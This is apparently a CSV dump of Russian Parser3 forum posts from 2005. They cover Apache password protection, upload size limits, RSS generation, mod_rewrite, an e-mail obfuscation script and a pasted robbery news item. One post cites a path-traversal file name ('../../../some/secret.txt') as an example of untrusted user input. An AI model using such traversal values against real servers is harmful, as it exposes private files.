Имя2<select name=\"sort\"><option value=\"содержание2\">содержание2</option></select> \
\
как выбрать карточки из таблицы card с id привязанных к нему строк из таблицы strings среди которых есть оба значения содержание1 и содержание2"
"48371","[code]$f[^file::load[text;http://www.betfair.com/lite/;$.timeout(20)]]\
$f.text[/code]\
\
Ошибка\
[quote]302\
invalid HTTP response status\
z:/home/2pay/www/b.html(1:11) [/quote]"
"48372","[code]<?xml version=\"1.0\" encoding=\"UTF-8\" ?> \
  <rss version=\"2.0\">\
   <channel>\
     <title>www.2pay.ru - Чтобы платить</title> \
     <link>http://www.2pay.ru</link> \
     <description>Продажа игровых валют и webmoney за наличные в кассах Букмекерских контор.</description> \
     <image>\
         <url>http://www.2pay.ru/img/top.gif</url> \
         <link>http://www.2pay.ru</link> \
         <title>www.2pay.ru - Чтобы платить</title> \
     </image>\
     <lastBuildDate>Fri, 23 Dec 2005 15:23:29 GMT +0300</lastBuildDate> \
     <item>\
         <title>2pay.ru -  Новый способ оплаты - БК \"Париматч\" [b]^eval(3+5)[/b]</title> \
         <link>http://www.2pay.ru</link> \
         <description>Новый способ оплаты - БК \"Париматч\" С сегодняшнего дня, оплатить наши услуги, можно в отделениях БК \"Париматч\". Помните – Оплатить наши услуги через отделение букмекерских контор Марафон и Париматч это самый удобный и дешевый способ!</description>\
		 <comments>http://forum.arbuz.info/showthread.php?p=62</comments>     \
	 </item>\
   </channel>\
  </rss>[/code]\
Как rss сделать динамическим?\
Разве нельзя просто в него вписать код на Parser как в html?"
"48375","Саня! Зачем в канун НГ эстетами обзываешь?"
"48378","parser стоит на сервере так что мне необходимо\
\
редактор с правильным пониманием русских кодировок\
и ftp клиент\
\
желательно связку вроде тотал командера и желательно бесплатное или около того"
"48379","другой стандарт. другие требования, но суть та-же: теги."
"48380","я делал запрос [b]http://www.betfair.com/[/b]\
\
на сколько я понял по адресу http://www.betfair.com/lite/ работает скрипт создающий сессию и лепит куку,\
далее пребрасывает на страничку где идет проверка куки.\
Посколку в вашем случае с сервером общается не браузер а скрипт, то соответственно мы наблюдаем не то, что хотим.\
Сечас нет времени да и желания особо углубляться в этот вопрос, думаю можно перехватить и куку и если есть ещё что-то и подтвердить созданную сессию. Тогда вероятно можно будет получить то, что нужно.\
\
Misha v.3 если я правильно мыслю подскажите пожалуйста куда смотреть."
"48381","...то вы увидите, что оно меньше чем время вашего изменения сообщения.\
\
т.е. когда я отвечал там был только заголовок: \"RSS - там все не так, как в HTML\".\
\
соответствующим был и мой ответ.\
\
сейчас у вашего сообщения есть содержимое, но его суть для меня не изменилась. я все равно ни фига не понимаю в чем же у вас проблема. RSS парсером формировать можно, и никакой принципиальной разницы с html нет. и там и там - буквы с тегами.\
\
если у вас в rss выдается код парсера то пора было-бы понять, что для того чтобы документ обрабатывался парсером, надо назначить парсер обработчиком этих документов. хотя для rss читалок расширение давно не играет никакой роли, например на парсер.ру rss лента имеет расширение html, и все работает."
"48383","[url=http://www.barebones.com/products/bbedit/index.shtml]BBEdit 8.2.3[/url]\
[url=http://www.panic.com/transmit/]Transmit 3.1.1[/url]"
"48384","Послушайте, а не проще ли купить 1 аккаунт на платном хостинге?\
Сейчас можно найти хостинг за 1 доллар в месяц со всем необходимым. Или для Вас и этого много?\
\
А вообще, мой Вам совет: www.sweb.ru\
Не поленитесь – купите хостинг и вы получите всё, что нужно."
"48385","как правильно указать этот самый пароль?\
как правильно указать эти самые\
AuthType		\
AuthName		\
AuthUserFile		\
AuthGroupFile		\
Require	\
\
прочитал кучу инфы ниче не получается\
создал .htpasswd\
в нем сохраняю пароль\
имя пользователя я так понял пишется вот здесь?:\
Require имя_пользователя\
а здесь я указываю путь к .htpasswd?:\
AuthUserFile \"C:\\Apache Group\\Apache\\htdocs\\.htpasswd\"\
или все не так объясните пожалуйста\
и еще вопросик где на локалке выполняются эти команды???:\
htpasswd /usr/local/etc/apache/.htpasswd-users jsmith\
htpasswd -c /home/doe/public_html/.htpasswd jane"
"48386","В нужную Вам папку, скопируйте файл .htaccess (без название, только расширение),\
с таким содержанием:\
[code]\
# Текст с просьбой ввести логин и пароль\
AuthName \"Введите логин и пароль\" \
AuthType Basic \
\
# Путь к файлу с паролями\
# В нашем случае это файл .htpasswd\
# (без название, одно расширение)\
# путь пример для win\
AuthUserFile d:/server/www/.htpasswd-users\
#для nix\
AuthUserFile /var/www/html/mysite/.htpasswd-users\
require valid-user [/code]\
\
такие команды:\
[quote]htpasswd /usr/local/etc/apache/.htpasswd-users jsmith\
htpasswd -c /home/doe/public_html/.htpasswd jane[/quote]\
вводятся в консоли программы htpasswd под win\
файл .htpasswd можно создать средствами парсера\
http://www.parser.ru/forum/?id=48345"
"48387","Создал средствами парсера .htpasswd\
поместил в папку admin .htaccess\
у меня вопрос в файле .htpasswd хранятся только пароли или и имена ползователей тоже?\
если да то как они там правильно должны хранится а если нет то где тогда имя пользователя должно указываться?"
"48389",">> 1. Что такое atm?\
мои объекты, на которые нужны права\
\
>> 2. Что такое irf?\
не знаю, это что-то Мишино..."
"48391","Если вы введёте в строке поиска на яндексе слова \"формат htaccess\", то узнаете много нового.\
Так же есть поисковая система http://filesearch.ru, введя в поиске которой слово \"htpasswd.exe\" вы получите этот самый htpasswd.exe.\
hint: ftp://ftp.vsi.ru/pub/win/htpasswd/htpasswd.exe"
"48392","вот .htaccess\
AuthType \"Basic\"\
AuthName \"Введите пароль\"\
AuthUserFile \"C:/server/Apache/htdocs/.HTPASSWD\"\
require \"valid-user\"\
\
вот .htpasswd\
1:1\
\
вввожу в имя 1\
в пароль 1\
не пускает и все хоть ты тресни!!!"
"48393","Там в коде из примеров ^math:crypt для красоты? Начинаем думать."
"48394","Как ограничить размер заливаемого файла через POST (при привышении закрывать сокет) или в крайнем случае заставить его reject-ить запросы POST \"multipart/form-data\" изначально, у меня на текущий момент получается так - заливается файл целиком, а уже потом пишет, типа - \"ой йопт! я совсем забыл, это запрещено!\"\
\
апач - 1.3.29\
опробованные варианты запрещения\
LimitRequestBody\
<Limit POST>\
mod_security - SecFilterSelective HTTP_CONTENT_TYPE multipart/form-data"
"48395","в своём первом сообщении ты сам привёл код шифрования паоля, а в примере даёшь чистый пароль.\
Чем думаешь или совсем не думаешь.\
Вам дали все инструменты, програмка htpasswd.exe сама создаёт запись логин, пароль, положите в нужное место и думать не надо, вот формат htpasswd\
[code]vasja:$apr1$9/1.....$Cb414vuXHDbMiffgkQujz0[/code]\
смотри сюда http://www.parser.ru/docs/lang/mathcrypt.htm\
если авторизацию делать на уровне Апача, то ни какого Парсер-ного кода не нужно, апачь смотрит на .htaccess, а оттуда его направляют на .htpasswd"
"48396","Ничего не понял про[quote]LimitRequestBody\
<Limit POST>\
mod_security - SecFilterSelective HTTP_CONTENT_TYPE multipart/form-data[/quote]\
никогда таким не пользовался.\
Поля формы имеют значения http://www.parser.ru/docs/lang/filefields.htm\
Протестируйте этот код и всё поймёте[code]<FORM enctype=\"multipart/form-data\" method=\"POST\" action=\"\">\
<INPUT type=\"file\" name=\"fs\">\
<INPUT type=\"submit\" name=\"g\" value=\"go\">\
</FORM>\
1 - $form:fs.name <br>\
2 - $form:fs.size[/code]\
размер файла в байтах, сравниваете с нужным и решаете что ответить посетителю."
"48398","[code]^if(def $form:g && def $form:fs){\
^if($form:fs.size > 2048){\
#говорим посетителю \
\"Ваш фай соишком большой, имеет размер $form:fs.size\"\
}{\
#здесь делаем сохранение\
^form:fs.save[binary;/arch/$form:fs.name]\
#говорим посетителю\
Файл $form:fs.name схранён и имеет размер $form:fs.size\
}\
}[/code]\
таким образом сохранятся будут только файлы размером меньше 2Кб.\
Надо подключать немножко серое вешество :))"
"48399","У меня, как и у Messer'а, файл в любом случае закачивается. Уже после того срабатыват исключение:\
[code]posted content_length(39608228) > $LIMITS.post_max_size(10485760)\
exception.type=parser.runtime[/code]\
\
Попробуйте закачать с помощью вашего же кода файл объемом больше, чем $LIMITS.post_max_size в вашем конфиге. Сюрприз внутри."
"48400","тогда правильно формулируйте вопрос\
вы спрашивали[quote]Как ограничить размер заливаемого файла через POST?[/quote]\
я вам показал где есть значения размера файла, следующий вопрос[quote]Ага, закачиваем 2 гига, а потом думаем?![/quote]\
я показал когда закачивается файл, сама посебе форма ни чего не качает, ей необходимо дать команду на закачку с указанием куда сохранять.\
насколько я знаю размер закачиваемого файла ограничен на уровне Апрача 2 Мб, если вы хотите разрешить закачку большего размера, то так и задайте вопрос.\
Только хостер врядли вам это разрешит, если у вас собственный сервер, могу подсказать где это делается, у себя я разрешил закачку 100 Мб, но опять возникает желание, как вы говорите, нахамить.\
\
Пошу прощение за резкость."
"48401","скачал прогу htpasswd.exe сделал с ее помощью файл .htpasswd\
положил в admin директорию\
сделал .htaccess и положил в туже директорию\
все равно не пускает!!!\
\
.htaccess:\
AuthType Basic\
AuthName \"Password Required\"\
AuthUserFile \"с:/server/Apache/htdocs/admin/.htpasswd\"\
require valid-user\
\
\
.htpasswd\
user:$apr1$nt4.....$7inJocV.iRy9y5SAiFTwi1"
"48402","[quote]насколько я знаю размер закачиваемого файла ограничен на уровне Апрача 2 Мб, если вы хотите разрешить закачку большего размера, то так и задайте вопрос.[/quote]\
Не знаю откуда у вас такие выводы, но вот суть вопроса как раз в обратном:\
\
[b]Что мне нужно сделать, чтобы браузер не качал полностью 100 мегабайт, когда можно только 10?[/b]\
\
Парсер не обрабатывает файл при превышении лимита — отдает exception, но до момента проверки этого лимита, Апач принимает файл полностью. Как справиться с этим?\
\
Еще:\
http://www.parser.ru/forum/?id=32389\
\
Заранее благодарю."
"48403","Сразу показали б ошибку какую получаете.\
[quote]Unhandled Exception (parser.runtime)\
\
posted content_length(73820531) > $LIMITS.post_max_size(10485760)[/quote]\
Это ответ парсера, не берусь утверждать, но как понимаю парсер не разрешает пост данные более 10Мб и дело до вашего кода не доходит.\
Вывод: нужно перехватить эту ошибку и обработать так как нам, вернее вам, нужно\
я таких вещей ещё не делал, посмотрите здесь типы ошибок, есть и эта \
http://www.parser.ru/docs/lang/exceptionunhandled.htm\
вот с этим[code]@unhandled_exception[exception;stack]\
# .....\
^if($exception.type eq 'parser.runtime'){\
#       говорим Парсеру: \"Мы сами обработаем эту ошибку. Пожалуйста, не пишите ничего в журнал\"\
        $exception.handled(1)\
}\
# .....[/code]"
"48404","Парсер при получении файла более 10 Мб выдаёт ошибку и останавливается, остается обработать ошибку по своему\
Почему такое ограничение, вопрос к разработчикам.\
\
P.S. \
Вот залез посмотрел,\
закачку файлов я писал в 2002г и это было на ПХП.\
Там в пхп.ини ограничение по умолчанию 2 Мб\
так, что извиняюсь за неверную инфу по ограничению."
"48405","Если нет — не нужно, пожалуйста, забивать табличку messages лишними записями, ладно?"
"48406","Можно и 10 байт поставить. Вопрос-то не в этом."
"48407","есть ещё какая нибудь альтернатива?"
"48408","А где можно увидеть демо системы, посмотреть админку?"
"48409","Кажется стал понимать в чём суть :(\
Дело в том, что у меня до сервера 100 Мбит скорость, поэтому я не мог врубиться.\
Получается, что сервер качает файл и держит в памяти, только после этого видит размер и если мы говорим сохранить, пишет на винт.\
Но влюбом случае не зависимо от наших команд тратится время на закачку, вы хотите этого избежать, так?"
"48410","Подня у себя все ограничения, что 1Мб, что 90Мб на закачке разницы не вижу, тот код, что писал, нормально работает пробую файл размером более 3Гб, сервак завис =)\
Не уверен правильно-ли понимаю суть проблеммы."
"48411","парсером я уже пробовал ограничивать, проблема в том, что сначала сервер принимает файл, а потом отдает его парсеру на рассмотрение.\
так вот, мне нужно ликвидировать входящий трафик больших обьемов как таковой.\
и вопрос адресуется к мастерам которые могут помочь с настройкой апаче."
"48412",".htaccess:\
[code]\
AuthType Basic\
AuthName \"Password Required\"\
AuthUserFile \"с:/server/Apache/htdocs/admin/.htpasswd\"\
require valid-user[/code]\
\
.htpasswd:\
[code]users:$apr1$0MJeAGCA$LEY7A/cdl53mwUF.RJxIk0[/code]\
открыть браузер набрать URL\
при появлении окна с просьбой \"Password Required\"\
ввести логин - users\
пароль - 12345"
"48414","значит файл htpasswd лежит не так как прописано в htaccess\
права на htpasswd установите 644 иначе група которой принадлежит Апач не сможет его прочесть\
хостя суда по адресу вы пробуете локально на вин ОС, там всё ставится автоматом\
попробуйте установить юникс формат файла, хотя у меня и вин формат работает\
вобщем что-то не так, должно работать, какая-то мелочь, которую вы незамечаете, ищите.\
\
З.Ы. \
что значит непускает? \
окно для ввода логин,пароля появляется?\
если нет, то у вас запрещён htaccess в httpd.conf"
"48416","А может быть сделать так, чтобы конструкция [b]`$junction` is junction[/b] проверяла переменную junction, а [b]$junction is junction[/b] значение.\
\
Возможно реализовать это без особых накладок?"
"48417","Ковырялся ковырялся все удалил потом заново создал\
и заработало!"
"48419","[url=http://www.alanwood.net/unicode/utilities_editors_macosx.html]Unicode and Multilingual Editors and Word Processors for Mac OS X[/url]"
"48421","спасибо, учту, но от конструкции\
$SHARED_FOLDER/${form:file_name}\
озвученное правило не избавляет\
\
Сразу вопрос по теме:\
Насколько правильно использовать временные переменные?\
например, пишу так: \
\"^tableConfig.append{^if(def $form:str_region){^form:str_region.upper[]}{^form:region.int[]}}\"\
через временные конструкция будет яснее, однако код зарастает временными переменными"
"48422","прошу внимательно прочесть, что я написал, означеные способы пробовал."
"48423","1.[code]^tableConfig.append{^if(def $form:str_region){^form:str_region.upper[]}{^form:region.int[]}}[/code]\
\
2.[code]^if(def $form:str_region){\
	^tableConfig.append{^form:str_region.upper[]}\
}{\
	^tableConfig.append{^form:region.int[]}\
}[/code]\
\
3.[code]$region[^if(def $form:str_region){^form:str_region.upper[]}{^form:region.int[]}]\
^tableConfig.append{$region}[/code]\
\
4.[code]^if(def $form:str_region){\
	$region[^form:str_region.upper[]]\
}{\
	$region(^form:region.int[])\
}\
^tableConfig.append{$region}[/code]\
\
На мой вкус — второй вариант лучше."
"48424","Сайт 1 работает под управлением Parser 3.1.4\
Сайт 2 обычный html.\
\
Необходимо что бы в страницу сайта 2 вставлялся результат работы парсеровского скрипта с сайта 1. То есть скрипт отрабатывает на первом сайте а результат вставляется на второй.\
\
\
возможно такое? или необходимо другое решение?"
"48425","1. Фреймы\
2. JavaScript ([url=\"http://www.dklab.ru/lib/Subsys_JsHttpRequest/\"]JSHttpRequest[/url] / [url=\"http://www.google.com/search?q=XMLHttpRequest\"]XMLHttpRequest[/url])"
"48428","также я не обнаружил пункта koi - 8r"
"48429","http://httpd.apache.org/docs/1.3/mod/core.html#limitrequestbody\
\
Если это у вас не сработало, значит либо не там написали, либо это не разрешено текущей конфигурацией. Решения два:\
1.Написать, где разрешено.\
2.Разрешить, где написано.\
\
Удачи."
"48430","BBEdit > BBEdit Preferences > Text Encodings:\
\
[b]Enable:[/b]\
+ Cyrillic (DOS)\
+ Cyrillic (ISO 8859-5)\
+ Cyrillic (Mac OS)\
+ Cyrillic (Windows)\
   ...\
+ Russian (DOS)\
+ Russian (KOI8-R)\
\
[b]See also:[/b]\
BBEdit > File > Reopen Using Encoding (for incorrectly opened files)\
\
[b]See also:[/b]\
http://www.alanwood.net/unicode/utilities_editors_macosx.html"
"48432","позволяет вставлять документы только с того же сервера где находится документ в который идет вставка... Как вставить с другого не знаю с помощью SSI не знаю ...\
\
Фреймы не хотелось бы использовать"
"48433","вы её пока не привели."
"48434","В первой десятке результатов гугла. Все ключевые слова вам уже сказали."
"48435","нашел грабли.\
сервер стоит внутри сети на другой машине, а в инет шарится через винроут.\
остановил винроут - все работает как надо, с ним заливай, что хочешь. буду думать."
"48436","назначьте parser обработчиком не .html файлов, а, скажем, .phtml"
"48437","и тот и другой потенциальным клиентам показываем и рассказываем и кофе/чаем поим."
"48438","такой код — ужасен.\
уверен, если вы, наконец, напишете, что же за задачу пытаетесь решить, мы с вами придумаем, как то же самое можно сделать изящнее.\
\
насколько понял, ожидать готового решения от вас не стоит.\
сюрприз: от меня тоже. мне представляется, что имеющегося понятия junction вполне достаточно и усложнять тут ничего не нужно."
"48439","а первые ваши вопросы: нежелание разбираться самому.\
следующие подобные вопросы будут сразу же удалены."
"48441","в вашем случае, если отвечать на ваш вопрос буквально, то можно и без временных переменных и изящно:\
[code]\
@getRegionStringOrID[]\
[/code]\
\
однако, вообще говоря, мне непонятно, как так может быть, что в таблице может получиться в одной клетке иногда строка, а иногда число. такой стиль [b]запутывает[/b] читателя = такой стиль следует избегать."
"48442","Как раз можно, как вы выражаетесь, выдрать ip.\
http://webwarper.net/wwantianonymizerru.htm"
"48443","отдельно стоит вопрос о том, насколько можно доверять пользователю, что он не передаст вам ../../../some/secret.txt"
"48445","Второй интересно посмотреть.\
Но я так, любопытствующий :)"
"48448","Доброе время суток.\
\
Помогите найти ошибку в коде.\
При заполнение формы и отправки переменныйх sql скрипту выдаеться следующая ошибка\
[quot]\
[Mon Dec 26 16:03:30 2005] [47139] /static/ppp/?lan=ppp0&date=2005-12-26&post=Send: /var/www/web/classes/stat.p(60:33): 'select date,lan,sum(input)/1048576 as inp,sum(output)/1048576 as out from traffic where lan = 'ppp0' and date = '2005-12-26'' Mixing of GROUP columns (MIN(),MAX(),COUNT()...) with no GROUP columns is illegal if there is no GROUP BY clause [sql.execute]\
[/quot]\
\
вот кусок stat.p\
[code]\
@CLASS\
stat\
@post_load[]\
^if(def $form:post){\
    ^if(def $form:lan){\
       ^MAIN:dbconnect{\
    	    $p_messages[^table::sql{select date,lan,sum(input)/1048576 as inp,sum(output)/1048576 as out from traffic where lan = '$form:lan' and date = '$form:date'}]       \
       } response:location[$request:uri]\
       }{\
        <center> Все поля должны быть заполненны </center>        }\
}\
@show_post_messages[]\
^if($p_messages){\
   ^p_messages.menu{\
      <table width=\"100%\">\
         <tr>\
         <td align=\"left\"><b>$p_messages.lan\
            ^if(def $p_messages.date){\
               $p_messages.date\
            }{\
               Нет даты\
            }</b>\
         </td>\
         <td align=\"right\">$p_messages.date</td>\
         </tr>\
      </table>\
      <table width=\"100%\">\
      <tr>\
         <td>Input  $p_messages.inp Mb</td>\
         <td>Output $p_messages.out Mb</td>\
      </tr>\
      </table>\
   }[<table width=\"100%\" border=\"0\" bgcolor=\"000000\" cellspacing=\"0\">\
        <tr><td>&nbsp^;</td></tr>\
   </table>]\
}{\
    Статистики по $form:lan за $form:date нет.\
}\
[/code]\
\
А вот это в index.html\
[code]\
$gb[^stat::post_load[]]\
^gb.show_form[]\
^gb.show_post_messages[]\
[/code]\
\
Заранее благодарен за ответ."
"48450","пусть падает?\
\
другой пользователь прислал мне воспроизводимый bug в этой области, я тот bug починил.\
\
в 3.1.6 будет выпущена подпорка\
в 3.2.1 будет выпущена радикальная переделка (glib и gdome убиты)"
"48451","Есть метод:\
[code]\
@metod[par1;par2]\
...\
[/code]\
\
Хочу, чтобы если в функцию передан 1 параметр - то он должен быть кодом. Если 2, то первый должен быть строкой, а второй кодом. Иначе  exception."
"48452","[quote]такой код — ужасен[/quote]\
Согласен. Просто посмотрел, что `` не заняты и что переменная внутри таких кавычек генерирует exception."
"48453","а не ваш к ней подход.."
"48457","^eval(^selectCardsSummMinus.menu{$selectCardsSummMinus.summ}[+] )\
\
Выдает ошибку:\
\
1500+3900+14000+1800\
invalid number (double)\
\
пробовал разные варианты.\
Помогите пожалуйста."
"48458","такое впечатление как будто шифт заело\
\
Может опять я где-то что-то не доглядел :("
"48459","[code]\
$summ(0)\
^selectCardsSummMinus.menu{^summ.inc($selectCardsSummMinus.summ)}\
$summ\
[/code]\
\
если же хочется через ^eval(), то у меня получилось так\
[code]\
^process{^^eval(^selectCardsSummMinus.menu{$selectCardsSummMinus.summ}[ + ])}\
[/code]"
"48462","Встресчал в ниете только php+Flash, а может ли Parser"
"48463","Может быть при добавлении сообщения разрешить впечатывать tab-ы с клавиатуры, вместо копирования из редактора?.. Было бы удобно.\
\
см. http://www.artlebedev.ru/tools/technogrette/js/allow_tab_key/"
"48464","Flash может работать с XML, разве этого не достаточно?"
"48465","Я конечно полный профан в этом деле просто видел в инете надписи flash + php и всё, я даже не знаю что под этим подразумевается, просто очередной вопрос о возможностях Parser"
"48466","Парсером делаете XML, а Flash подцепляет этот самый XML и все ;)"
"48467","лично Opera и Mozilla Firefox не особо хорошо работает с таким способом \"улова\" кнопки TAB.\
\
[i]P.S. Для пользователей Internet Explorer я лично [b]ЗА[/b]![/i]"
"48468","в любом случае лучше поставить, а то приходится пыхтеть и выдумывать что-то свое"
"48473","PHP умеет генерировать flash файлы."
"48474","Может кому-нибудь пригодиться ;)\
\
Метод шифрует переданный e-mail в строчку вида:\
\
[code]\
<script type=\"text/javascript\">document.write('e-m'+'ail')</script>[/code]\
\
Код метода:\
\
[code]\
@mailto[email;lparams][params;_string;_encoded;_random;_script;i]\
$params[^hash::create[]]\
^if($lparams is hash){\
	$params[\
		$.subject[$lparams.subject]\
		$.attributes[$lparams.attributes]\
		^if(def $lparams.title){\
			$.title[$lparams.title]\
		}{\
			$.title[$email]\
		}\
	]\
}{\
	^if(def $lparams){\
		$params.title[$lparams]\
	}{\
		$params.title[$email]\
	}\
}\
^if(^is_email[$email]){\
	$_string[<a href=\"mailto:$email^if(def $params.subject){?subject=$params.subject}\"^if(def $params.attributes){ $params.attributes}>$params.title</a>]\
}{\
	$_string[$email]\
}\
$i(0)\
^while($i < ^_string.length[]){\
	$_random(^math:random(5) + 3)\
	$_encoded[$_encoded^_string.mid($i;$_random)^if($i + $_random < ^_string.length[]){'+'}]\
	^i.inc($_random)\
}\
$result[<script type=\"text/javascript\">document.write('$_encoded')^;</script>]\
# end @mailto[]\
[/code]\
\
Примеры вызова:\
\
[code]\
^mailto[wonder@nightmail.ru]\
^mailto[wonder@nightmail.ru][Никита Козин]\
^mailto[wonder@nightmail.ru][\
	$.title[Никита Козин]\
	$.subject[from-parser3-site]\
	$.attributes[style=\"font-weight:bold\"]\
]\
[/code]"
"48477","I did it :-)\
\
[url=\"http://www.bougakov.com/misc/parser/cvs.zip\"]Установка CVSNT и TortoiseCVS (221k)[/url] ([url=\"http://www.bougakov.com/misc/parser/cvs_src.zip\"]исходники (684k)[/url])\
[url=\"http://www.bougakov.com/misc/parser/iis.zip\"]Установка ISAPI-версии Parser на IIS (299k)[/url] ([url=\"http://www.bougakov.com/misc/parser/iis_src.zip\"]исходники (642k)[/url])   \
[url=\"http://www.bougakov.com/misc/parser/msde.zip\"]Установка SQL Server MSDE и подключение к ней из Parser (34k)[/url] ([url=\"http://www.bougakov.com/misc/parser/msde_src.zip\"]исходники (54k)[/url]) \
\
если у Paf'а и у Миши есть желание позаимствовать что-то из этого для документации по Parser или положить в раздел \"Статьи\" - буду только \"за\" (у меня на хостинге есть ограничение на bandwidth)\
\
P.S. Большое спасибо Nexus'у за [url=\"http://www.parser.ru/forum/?id=47563\"]статью про CVS[/url], которая сподвигла меня написать свой вариант."
"48478","http://www.parser.ru/docs/lang/tablesql.htm\
\
[code]\
$.offset(o) - отбросить первые O записей выборки;\
[/code]\
\
[i]В скобках указана буква «о», а в тексте — ноль.[/i]\
\
http://www.parser.ru/docs/lang/exceptionunhandled.htm\
\
[code]\
^stack.menu{\
  <tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
}\
[/code]\
\
[i]<br> не вынесена в качестве разделителя, что не логично.[/i]"
"48479","1.\
[code]^if(def $lparams){...}[/code]\
\
=>\
\
[code]^if($lparams is string){...}[/code]\
\
\
2.\
[code]$_string[<a href=\"mailto:$email^if(def $params.subject){?subject=$params.subject}\"^if(def $params.attributes){ $params.attributes}>$params.title</a>][/code]\
\
=>\
\
[code]$_string[<a href=\"mailto:$email^if(def $params.subject){?subject=^taint[uri][$params.subject]}\"^if(def $params.attributes){ $params.attributes}>$params.title</a>][/code]"
"48481","понял откуда у меня было заблуждение - я думал что конструкция\
$SHARED_FOLDER/$form:file_name под Windows отработает неверно, а\
$SHARED_FOLDER\\$form:file_name не работает, проверил только что,\
спасибо за разъяснения"
"48482","я читаю каталог \"$SHARED_FOLDER\" и даю пользователю выбрать из, вот код\
$file_list[^file:list[$SHARED_FOLDER;\\.txt^$]] \
<select size=\"1\" name=\"file_name\">\
  ^file_list.menu{\
     <option value=\"$file_list.name\" ^if($file_list.name eq :file_name){selected=\"selected\"}>$file_list.name} \
</select>\
а по сути - разделяю Ваше мнение о доверии/недоверии к пользователю"
"48483","Идея была такая: пользователь указывает номер столбца из прайса или значение, общее для всей базы, соответсвенно в файл конфигурации(необходимого для закачки прайса в базу) пишется строка, где, напрмер на пятом месте либо номер столбца, либо значение. Это казалось отличной идеей! \
Читателем такого файла является только админ, в случае нештатной загрузки - поперепутал пользователь поля и т.д. \
Буду признателен за совет как это сделать правильно по сути и стилю"
"48484","Вот если подряд 4-5 таких конструкций то мне кажется более читаемым первый вариант"
"48485","http://www.parser.ru/forum/?id=48441"
"48486","про cvs:\
[quote]Модулей может быть много — по числу проектов, которыми вы занимаетесь.[/quote]\
\
мне кажется что стОит упомянуть, что \"проект\" это нечто такое виртуальное, определяемое разработчиком, и что на сайте может использоваться несколько \"проектов\" разом\
\
[quote]Вы просите CVS создать для вас копию файлов из хранилища (сделать «checkout») — и правите файлы уже в этой копии.[/quote]\
\
для многих будет шок, что они получат две версии файлов. надо подчеркнуть что исходные файлы можно грохнуть, ибо они есть в cvs.\
\
[quote]Зайдя на сервер провайдера по SSH вы можете запустить CVS-клиента там, и вытащить копию сайта на сервер провайдера.[/quote]\
\
т.к. тут пишется про установку локального cvs сервера, то стоит сделать сноску, что это возможно если доступ с сервера провайдера к \"локальному\" хосту возможен.\
\
[quote]Когда вы внесли новые изменения и сохранили их в repository, вы можете повторить процедуру на сервере провайдера. С вашего компьютера будут скачаны только изменившиеся фрагменты — это позволит сэкономить трафик и ускорить обновление.[/quote]\
\
по моему не стоит смешивать checkout и update :)\
\
про CVSNT, TortoiseCVS и WinMerge ничего не знаю, так что не комментирую.\
\
хотя вот это мне не понравилось:\
[quote]Совет: делайте commit каждый раз, когда вносите в проект очередную законченную порцию изменений. Вспомните совет любителей компьютерных «стрелялок» — «сохраняйтесь чаще!». [/quote]\
\
мне кажется что стоит как-нить подчеркнуть [b]законченную порцию[/b], чтобы в cvs не оказывалась не рабочий набор данных. и... в стрелялках все-таки надо научиться играть, а не сохраняться :)"
"48487","...получит на входе html документа, найдет все <a href=\"mailto:.\">ссылки на email</a> и позаменяет их на подобное. ибо приведенный метод в связке xml+xsl не особо юзабелен.\
\
\
ну... и обратный метод нужен до кучи, чтобы ни один спамер при внедрении этой технологии не пострадал =)\
\
P.S. я бы убрал ^; из js к едрене фене"
"48488","лично мне это бывает нужно достаточно редко, т.к. если я пишу код, я делаю это в текстовом редакторе, который у меня всегда открыт.\
\
варианты (знаю, что не изящные):\
1. к форме приделывается кнопка/ссылка, при нажатии на которую в текущую позицию добавляется символ табуляции\
2. приделывается горячая клавища, при нажатии на которую... ну вы поняли. проблема в выборе комбинации (подсказывают: Tab+Reset, Ctrl+Alt+Del+Tab)\
3. 1 + 2"
"48492","Все, разобрался.\
Надо было с самого начало проверить правильность написания sql запроса."
"48495","по нашему опыту {невыполненный код} методу передавать нужно [b]крайне[/b] редко.\
\
концепция такого code-junction, как вы видите в Parser, взята мной из java.\
концепция method-junction из C# (delegate) и из C++ (указатель вида Class::*).\
\
задумано, что обе концепции будут использованы по тому же назначению, что и исходные."
"48497","Из встроенного try-cache сделал try-cache-finaly. В него и передается код."
"48498","Мне кажется этот метод абсолютно бесполезен:\
\
1) я в любом случае могу получить готовый e-mail просканировав document.body.innerHTML. В нём ваш емайл будет уже в нормальном виде.\
2) спамеры уже давно ушли от технологии сканирования сайтов, т.к. это не эффективно, требует больших ресурсов. Сейчас сбор баз осуществляется либо через трояны, либо вообще тупым перебором емайлов."
"48499","Задача следующая: имеется страница /catalog/ содержащая какой-либо каталог, переход по элементам каталога осуществляется по параметру /catalog/?id=1 необходимо избавиться от параметра id внеся его в адрес страницы т.е. /catalog/1/, /catalog/2/ и т.д.\
Знаю что на php возможно динамически генерить несуществующие страницы и переходить к ним, будто бы они размещены физически на диске.\
Подскажите плз. как такое реализовать на parser'e"
"48500","RewriteRule ^([0-9]+)\\.html$ index.html?id=$1 [L]\
\
или\
\
RewriteRule ^([0-9]+)/$ index.html?id=$1 [L]"
"48501","В лог парсер записывает следующую строку [quot][Wed Dec 28 12:43:26 2005] [14324] /main/: /home/www/domains/domain1/public_html/main/index.html(17:2): './lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', libmysqlclient.so: cannot open shared object file: No such file or directory [<no type>][/quot]\
На самом деле libparser3mysql.so находится в коталоге /cgi-bin/lib/.\
Раньше всё работало, но когда перенесли сайт на новый хост появилась эта ошибка."
"48502","Это делает модуль Apache — [b]ModRewrite[/b]\
\
Рекомендую почитать о нем, найдя ссылки в разделе [url=\"http://www.parser.ru/links/\"]полезные ссылки[/url]."
"48504","\"...В Москве совершен разбойный налет на студию известного веб-дизайнера Артемия Лебедева. Добыча грабителей, по предварительным данным, составила почти миллион рублей. \
Как сообщили РБК в столичных правоохранительных органах, инцидент произошел еще 27 декабря. Около 00:30 по московскому времени в помещение ООО \"Студия Артемия Лебедева\", расположенное в Газетном переулке, проникли трое неизвестных преступников. \
\
Угрожая физической расправой, бандиты пристегнули двух менеджеров наручниками к батарее, после чего взломали сейф, в котором находилось 30 тысяч долларов. Помимо денег, они похитили семь мобильных телефонов и ноутбук. \
\
По оценке пострадавших, ущерб составил более 900 тысяч рублей. Возбуждено уголовное дело. Начато расследование. \
\
Студия Артемия Лебедева основана в 1995 году. Всего в компании работают более ста человек. Основные направления деятельности - промышленный дизайн, графический дизайн, создание сайтов и проектирование интерфейсов. \
\
28.12.2005...\"\
\
Источник: http://top.rbc.ru/index.shtml?/news/incidents/2005/12/28/28112655_bod.shtml\
\
